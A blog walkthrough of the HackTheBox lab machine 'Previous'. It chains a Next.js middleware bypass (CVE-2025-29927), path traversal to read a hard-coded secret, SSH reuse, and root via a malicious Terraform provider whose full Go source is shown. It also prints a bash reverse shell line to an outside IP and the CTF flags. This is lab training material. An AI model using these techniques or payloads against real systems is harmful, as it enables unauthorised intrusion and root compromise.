HackTheBox | Previous

In this walkthrough, I demonstrate how I obtained complete ownership of Previous on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Medium Challenge
Owned Previous from Hack The Box!
I have just owned machine Previous from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon Aug 25 03:27:04 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.227.170
Nmap scan report for 10.129.227.170
Host is up (0.016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 25 03:27:25 2025 -- 1 IP address (1 host up) scanned in 20.80 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. Note the redirect to previous.htb in the HTTP output.
echo -e '10.129.227.170\t\tprevious.htb' | sudo tee -a /etc/hosts



Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Clicking either of these buttons redirects us to sign in, with no clear way to sign up
We can see a contact email of jeremy@previous.htb
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

We can see this is a Next.js web app by looking at the headers
Another interesting thing is the redirecting to localhost:3000 on certain URLs

Virtual Host Enumeration

gobuster vhost --domain 'previous.htb' --append-domain -u http://10.129.208.241 -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 100 -o vhost.txt

No new virtual hosts discovered...


Directory and File Enumeration

gobuster dir -u 'http://previous.htb' -x js -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt
/api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
/api.js               (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fapi.js]
/api-doc              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi-doc]
/api3.js              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi3.js]
/api2                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi2]
/apis.js              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapis.js]
/apimage.js           (Status: 307) [Size: 42] [--> /api/auth/signin?callbackUrl=%2Fapimage.js]
/api-doc.js           (Status: 307) [Size: 42] [--> /api/auth/signin?callbackUrl=%2Fapi-doc.js]
/api_test             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapi_test]
/apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
/apimage              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapimage]
/api4.js              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi4.js]
/api2.js              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi2.js]
/api4                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi4]
/api_test.js          (Status: 307) [Size: 43] [--> /api/auth/signin?callbackUrl=%2Fapi_test.js]
/apicache.js          (Status: 307) [Size: 43] [--> /api/auth/signin?callbackUrl=%2Fapicache.js]
/apicache             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapicache]
/api3                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi3]
/cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
/docs51               (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fdocs51]
/docs.js              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fdocs.js]
/docs                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fdocs]
/docs41.js            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs41.js]
/docs41               (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fdocs41]
/docs51.js            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs51.js]
/docs2.js             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fdocs2.js]
/docs2                (Status: 307) [Size: 37] [--> /api/auth/signin?callbackUrl=%2Fdocs2]
/signin               (Status: 200) [Size: 3481]

There seems to be some route matching on /api and /docs, /cgi-bin is a dead end

gobuster dir -u 'http://previous.htb/api/auth' -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt --exclude-length 39-74

Trial and error to find the filter for --exclude-length

/cgi-bin/             (Status: 308) [Size: 17] [--> /api/auth/cgi-bin]
/error                (Status: 200) [Size: 5260]
/providers            (Status: 200) [Size: 210]
/session              (Status: 200) [Size: 2]
/signin               (Status: 302) [Size: 0] [--> /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000]
/signout              (Status: 200) [Size: 5456]



Testing Authentication

Trying jeremy:admin, HTTP POSTs URL-encoded data to /api/auth/callback/credentials
Doing some keyword research, I think I found my next move...
Next.js and the corrupt middleware: the authorizing artifact
CVE-2025-29927
We can see why the gobuster command earlier had all those redirects based on these pattern matches to redirect to auth middleware
Let's give this payload a shot to see if we can bypass the authentication middleware



Bypass the Authentication Middleware

  1. Make a request to http://previous.htb/docs
  2. Catch in Burp proxy Intercept mode
  3. Inject x-middleware-subrequest header and send
Initial testing works great, now let's auto-add the header in the proxy settings
Proxy settings > HTTP match and replace > Add into "Replace" field



Exploring the Documentation

There appears to be a potential directory traversal -- /api/download?example=hello-world.ts
Yes, indeed. (By using -x with Burp proxy, Burp injects the header into the request.)
Looking at my notes here, I pipe the output of /proc/net/tcp and see we're in a Docker container



Probing Server Side Files

The CoPilot integration on GitHub is very loose with restrictions about pentesting advice, will answer almost anything. In this case, I asked it for server-side manifest of Next.js build files.

We can see the source code of the download API, but doesn't reveal all that much more than we already know
Looking at the [...nextauth].js file -- brackets encoded to %5B and %5D respectively





Exploit

Local File Read -> SSH

A review of how we got here...

  1. We found the target to be running a version of Next.js that is vulnerable to CVE-2025-29927
  2. Using the x-middleware-subrequest header, we can bypass any pages "protected" by the Next.js framework's authentication middleware
  3. This exposes the application documentation, which reveals an API that is vulnerable to path traversal and local file read
  4. We find the page manifest and read the [...nextauth].js configuration to find a hard-coded secret: MyNameIsJeremyAndILovePancakes
  5. We assume jeremy is a user on the host system and test access against tcp/22
ssh jeremy@previous.htb





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux previous 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)

Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply    



Users and Groups

Local Users

jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash   

Local Groups

jeremy:x:1000:   



Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:5d:a0 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.207.132/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3038sec preferred_lft 3038sec
3: br-afcb879659ce: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:1b:32:a1:80 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-afcb879659ce
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:fd:ec:47:62 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever    

Open Ports

tcp   LISTEN 0      4096        127.0.0.1:45149      0.0.0.0:*    

ARP Table

172.18.0.2 dev br-afcb879659ce lladdr 02:42:ac:12:00:02 STALE    

Routes

default via 10.129.0.1 dev eth0 
10.129.0.0/16 dev eth0 proto kernel scope link src 10.129.207.132 
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown 
172.18.0.0/16 dev br-afcb879659ce proto kernel scope link src 172.18.0.1



Interesting Files

/home/jeremy/.terraformrc

provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}    

/opt/examples/main.tf

terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}    

/opt/examples/terraform.tfstate

{
  "version": 4,
  "terraform_version": "1.11.4",
  "serial": 8,
  "lineage": "44b13e76-4b23-5fd1-8bf6-b5625394edda",
  "outputs": {
    "destination_path": {
      "value": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
      "type": "string"
    }
  },
  "resources": [
    {
      "mode": "managed",
      "type": "examples_example",
      "name": "example",
      "provider": "provider[\"previous.htb/terraform/examples\"]",
      "instances": [
        {
          "schema_version": 0,
          "attributes": {
            "destination_path": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
            "id": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
            "source_path": "/root/examples/hello-world.ts"
          },
          "sensitive_attributes": []
        }
      ]
    }
  ],
  "check_results": [
    {
      "object_kind": "var",
      "config_addr": "var.source_path",
      "status": "pass",
      "objects": [
        {
          "object_addr": "var.source_path",
          "status": "pass"
        }
      ]
    }
  ]
}    





Privilege Escalation

Malicious Terraform Provider

Understanding the Exploit

Looking at the interesting files we've discovered, we have control over /home/jeremy/.terraformrc, which contains an override for the provider in /opt/example/main.tf

This is the Terraform main.tf plan that is executed when running the sudo command
This is the provider that would typically be run when terraform apply is executed, but we have the local override in ~/.terraformrc...
Instead, the provider is loaded from /usr/local/go/bin
terraform-provider-examples is the provider loaded in this case due to the override
💡
We control the override value in /home/jeremy/.terraformrc, since it is in Jeremy's home directory, we can set the value to whatever we wish.



Proof of Concept

Change the value of the override location to /home/jeremy
It's looking in the /home/jeremy directory for a binary named terraform-provider-examples
It's looking for the provider in the directory we specified. Since this is a directory we control, we can place a malicious provider binary at /home/jeremy/terraform-provider-examples and have the program executed as root.



Becoming Root

Go version 1.23.0 on the target, useful for compiling locally and transferring to the target
go install github.com/hashicorp/terraform-plugin-sdk/v2/terraform@latest

Install the Terraform plugin SDK

go mod init pwn

Start a Terraform module project on Kali

nano go.mod
module pwn

go 1.23.0

require github.com/hashicorp/terraform-plugin-sdk/v2 v2.37.0

Note the go 1.23.0 to conform to the target

ℹ️
Just to be transparent, I did use GitHub Co-Pilot to assist with developing the Terraform provider below. I did so by providing the contents of /opt/examples/main.tf and asking it to develop a Terraform provider that would work with this plan and run regardless of plan state.
nano main.go
package main

import (
    "context"
    "os/exec"

    "github.com/hashicorp/terraform-plugin-sdk/v2/helper/schema"
    "github.com/hashicorp/terraform-plugin-sdk/v2/plugin"
    "github.com/hashicorp/terraform-plugin-sdk/v2/diag"
)

func main() {
    plugin.Serve(&plugin.ServeOpts{
        ProviderFunc: func() *schema.Provider {
            return &schema.Provider{
                ResourcesMap: map[string]*schema.Resource{
                    "examples_example": resourceExample(),
                },
            }
        },
    })
}

func resourceExample() *schema.Resource {
    return &schema.Resource{
        Schema: map[string]*schema.Schema{
            "source_path": {
                Type:     schema.TypeString,
                Required: true,
            },
            "destination_path": {
                Type:     schema.TypeString,
                Computed: true,
            },
        },
        CreateContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
            d.SetId(d.Get("source_path").(string))
            d.Set("destination_path", d.Get("source_path").(string))
            return nil
        },
        ReadContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
            // Malicious payload: runs every apply/refresh
            cmd := exec.Command("/bin/bash", "-c", "touch /tmp/test.txt")
            _ = cmd.Run()
            return nil
        },
        UpdateContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
            return nil
        },
        DeleteContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
            d.SetId("")
            return nil
        },
    }
}

This is a Terraform provider that will run /bin/bash -c "touch /tmp/test.txt" ON EACH APPLY regardless of state

go build -o terraform-provider-examples main.go

Compile the provider

scp terraform-provider-examples jeremy@previous.htb:/home/jeremy

Copy the file to the target via scp

sudo /usr/bin/terraform -chdir\=/opt/examples apply

Run it on the target

File exists in the override directory
Runs without any errors...
The target file was created by root
💡
Now from here, just change the /bin/bash -c payload in main.go, recompile, and re-transfer to the target via scp.
cmd := exec.Command("/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/10.10.14.165/443 0>&1")

Example of a new payload for a reverse shell

Payload is in the provider binary on the target...



Flags

User

278b075dc1e42a4378b62802873dca48   

Root

5df6923f752255bef8da3250fded910c    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.